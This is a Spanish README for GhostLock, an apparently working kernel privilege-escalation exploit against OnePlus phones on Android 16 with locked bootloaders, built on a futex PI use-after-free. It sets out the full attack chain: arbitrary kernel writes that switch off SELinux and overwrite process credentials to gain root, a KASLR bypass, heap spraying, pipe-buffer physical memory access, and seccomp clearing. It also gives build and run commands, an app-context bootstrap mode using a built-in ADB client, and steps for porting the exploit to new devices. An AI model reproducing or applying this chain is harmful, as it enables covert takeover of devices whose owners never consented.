GhostLock — OnePlus

Exploit de kernel dirigido a dispositivos OnePlus con bootloader bloqueado. Utiliza CVE-2026-43499 para obtener acceso root sin desbloquear el bootloader ni modificar boot.img.

Solo para investigación de seguridad autorizada y fines educativos.

Tabla de contenido

• Descripción general de la vulnerabilidad
• Dispositivos compatibles
• Requisitos previos
• Compilación
• Uso
• Modos de ejecución
• Detalles técnicos
• Estructura de archivos
• Añadir nuevos dispositivos
• FAQ

Descripción general de la vulnerabilidad

Causa raíz

La llamada al sistema pselect6 copia fd_set a la pila del kernel. Cuando se combina con el mecanismo de waiter de futex PI, un marco de pila liberado puede reasignarse como una estructura rt_mutex_waiter. Durante el recorrido de la cadena PI, el reequilibrado del árbol rb escribe datos controlados en direcciones arbitrarias del kernel.

Cadena

futex PI UAF (CVE-2026-43499)
  ├─ Forge rt_mutex_waiter object
  ├─ Control kernel stack via pselect/select fd_set layout
  ├─ Trigger rt_mutex PI operation for arbitrary write
  ├─ Write 1: selinux_state.enforcing = 0
  └─ Write 2: cred → init_cred (uid=0, full capabilities)

Dispositivos compatibles

Otros dispositivos OnePlus de la misma familia de SoC, Android 16 o kernel 6.12.x pueden adaptarse mediante la extracción de offsets del boot.img.

Requisitos previos

ksud (Requerido para KernelSU)

GhostLock gestiona la escalada de privilegios. La instalación de KernelSU requiere ksud (incluido con kernelsu.ko específico de KMI):

Sin ksud, el exploit sigue obteniendo un shell root con uid=0, pero KernelSU no se instalará y su no persistirá.

Compilación

Requisitos previos

• Android NDK (r25+)
• Configura ANDROID_NDK_HOME o ANDROID_NDK_ROOT

Compilar

# Default (API 35)
make

# Specify API level
make API=34

# Specify NDK path
NDK=/path/to/android-ndk make

Artefacto

ghostlock — ejecutable ELF ARM64 enlazado estáticamente.

Uso

Configuración única

# 1. Enable ADB TCP mode
adb tcpip 5555

# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e

Tras el primer éxito, resetprop establece automáticamente persist.adb.tcp.port=5555, lo que permite ejecuciones totalmente automáticas en reinicios posteriores.

Modos de ejecución

Exploit completo (contexto de shell ADB)

/data/local/tmp/a/e

• perf disponible, fuga precisa del task_struct del proceso hijo
• Dos etapas: W1 desactiva SELinux → W2 escalada de privilegios → carga de KernelSU

Modo bootstrap (contexto de aplicación, seccomp restringido)

/data/local/tmp/a/e --bootstrap

1. Escritura 1 → desactivar SELinux
2. Usar los permisos liberados para habilitar ADB TCP 5555 mediante setprop
3. El cliente Mini ADB integrado se conecta a 127.0.0.1:5555
4. Autenticación RSA con la clave previamente enviada
5. Ejecución del exploit completo a través del shell ADB (sin seccomp)

Solo escritura 1

/data/local/tmp/a/e --write1

• Hasta 20 intentos
• Útil para depuración o desactivación temporal de SELinux

Detalles técnicos

1. Coincidencia del kernel en tiempo de ejecución

Los offsets se guardan en la tabla de búsqueda src/devices/offsets.h, indexada por uname -r. El programa realiza la coincidencia automáticamente al inicio; los kernels desconocidos se rechazan.

static const struct kernel_offsets known_offsets[] = {
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
  OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
  { .uname_r = NULL }  /* sentinel */
};

Fuentes de offsets

Estructuras verificadas por BTF

2. Bypass de KASLR

Modo SLIDE — fuga de boot_id

Cuando los punteros del kernel están restringidos (kptr_restrict), se filtra la dirección base mediante boot_id sobrescrito con una dirección del kernel:

Read /proc/sys/kernel/random/boot_id
  └─ UUID contains nfulnl_logger address
      └─ KASLR slide = leaked_addr - image_offset
          └─ kaslr_base

Modo FOPS/CFI — fuga de la tabla fops

Cuando el dispositivo ashmem es accesible, se usan las primitivas de lectura/escritura de configfs para leer los punteros de función de la tabla fops de ashmem y calcular el offset de KASLR.

3. Heap spray del kernel

Falsifica objetos del kernel en páginas de orden 3 (32KB):

• file_operations falsos — secuestrar el puntero fops del miscdevice de ashmem
• rt_mutex_waiter falso — simular el nodo waiter de la cadena PI
• task_struct falso — referencia de tarea durante el recorrido de PI
• rt_mutex falso (bloqueo) — información correcta de waiter/owner

Implementado mediante SKB (socket buffer) + KernelSnitch:

• KernelSnitch — colisión de hash de futex para filtrar direcciones de mm_struct
• SKB spray — sendmsg para llenar el heap del kernel

4. Lectura/escritura de memoria física (pipe)

Después de obtener la base de KASLR, usa pipe buffers para el acceso a memoria a nivel físico:

1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations

Compatibles: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data

5. Escritura en dos etapas

Escritura 1 — desactivar SELinux

Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
        pointing to selinux_enforcing - 8
        rb-tree rebalance writes 0x00

Escritura 2 — escalar a root

Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
        2. calculate cred field offset
        3. child-node PI write → cred = init_cred (uid=0, full caps)
        4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)

Después de la sobrescritura de cred se realiza la verificación de lectura de capacidades.

6. Cliente Mini ADB integrado

src/core/miniadb.c — cliente ligero del protocolo ADB para el modo bootstrap:

1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit

Compatible con los algoritmos de firma SHA-1 y SHA-256.

Estructura de archivos

ghostlock-oneplus/
├── Makefile                        # Build configuration (NDK cross-compile)
├── README.md                       # Documentation
├── src/
│   ├── core/                       # Core exploit code
│   │   ├── main.c                  # Entry point: two-stage write + root shell
│   │   ├── fops.c                  # FOPS/CFI mode: pselect route, PI write, KASLR leak
│   │   ├── util.c                  # Utilities: heap spray, KASLR, kernel R/W primitives
│   │   ├── slide.c                 # SLIDE mode: boot_id KASLR leak + pselect route
│   │   ├── pipe.c                  # Pipe buffer physical memory R/W (physrw)
│   │   ├── root.c                  # Cred overwrite, seccomp clear, root child mgmt
│   │   ├── miniadb.c              # Built-in ADB client (TCP + RSA auth)
│   │   ├── common.h               # Global macros, structs, declarations, constants
│   │   ├── target.h               # Target memory layout / struct offsets / KASLR params
│   │   ├── offset.h               # Compile-time target config bridge (#include TARGET_CONFIG_H)
│   │   └── kernelsnitch/          # KernelSnitch — mm_struct address leak
│   │       ├── kernelsnitch.h     # Core algorithm: futex hash collision + brute-force
│   │       ├── futex_hash.h       # Futex hash function
│   │       ├── timeutils.h        # CPU timestamp measurement (RDTSC)
│   │       └── utils.h            # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│   └── devices/                   # Device offset tables
│       ├── offsets.h              # Aggregate all device offsets (lookup table + sentinel)
│       ├── ace6t/offsets.h        # OnePlus Ace 6T offsets (2 kernel versions)
│       └── op15/offsets.h         # OnePlus 15 offsets (1 kernel version)
└── tools/                         # Offset extraction toolchain
    ├── extract_target.py          # Extract kallsyms global symbol offsets (28 items)
    └── extract_btf.py             # Extract BTF struct field offsets (57 items)

Resumen de los módulos principales

Añadir nuevos dispositivos

Solo se necesita el boot.img del dispositivo objetivo — no se requiere root ni acceso al dispositivo.

Extraer offsets

# 1. Extract kernel from boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
           open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Get kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
#    Or from vmlinux: nm vmlinux > kallsyms.txt

# 3. Extract global symbol offsets
python tools/extract_target.py     # 28 offsets, auto-verified

# 4. Extract struct field offsets
python tools/extract_btf.py kernel  # 57 offsets, auto-verified

Pasos de adaptación

1. Crea src/devices/<name>/offsets.h (consulta ace6t/offsets.h)
2. Inclúyelo con #include en src/devices/offsets.h
3. Actualiza KIMAGE_TEXT_BASE y la disposición de memoria en src/core/target.h si es necesario
4. Recompila

Ajustes entre dispositivos

FAQ

P: ¿No hay salida al ejecutarlo?

Asegúrate de estar ejecutándolo en un shell ADB. El contexto de aplicación requiere --bootstrap.

P: ¿"no offsets for this kernel"?

Tu versión del kernel aún no es compatible. Sigue Añadir nuevos dispositivos para extraer los offsets y recompilar.

P: ¿La escritura 1 sigue fallando?

• Asegúrate de fijar la ejecución al núcleo de CPU correcto (macro CORE)
• Ajusta la temporización de PSELECT_ENTER_DELAY_USEC
• Comprueba si hay procesos que interfieran

P: ¿perf devuelve 0 en la escritura 2?

• Comprueba si seccomp bloquea perf_event_open (usa --bootstrap en contexto de aplicación)
• Verifica que el bypass de KASLR se ha realizado correctamente (kaslr_base válido)

P: ¿KernelSU no carga?

• Confirma que ksud existe y es ejecutable
• Comprueba la integridad del archivo de política de red (corrección de load_policy)

Licencia

Solo para investigación de seguridad autorizada y fines educativos.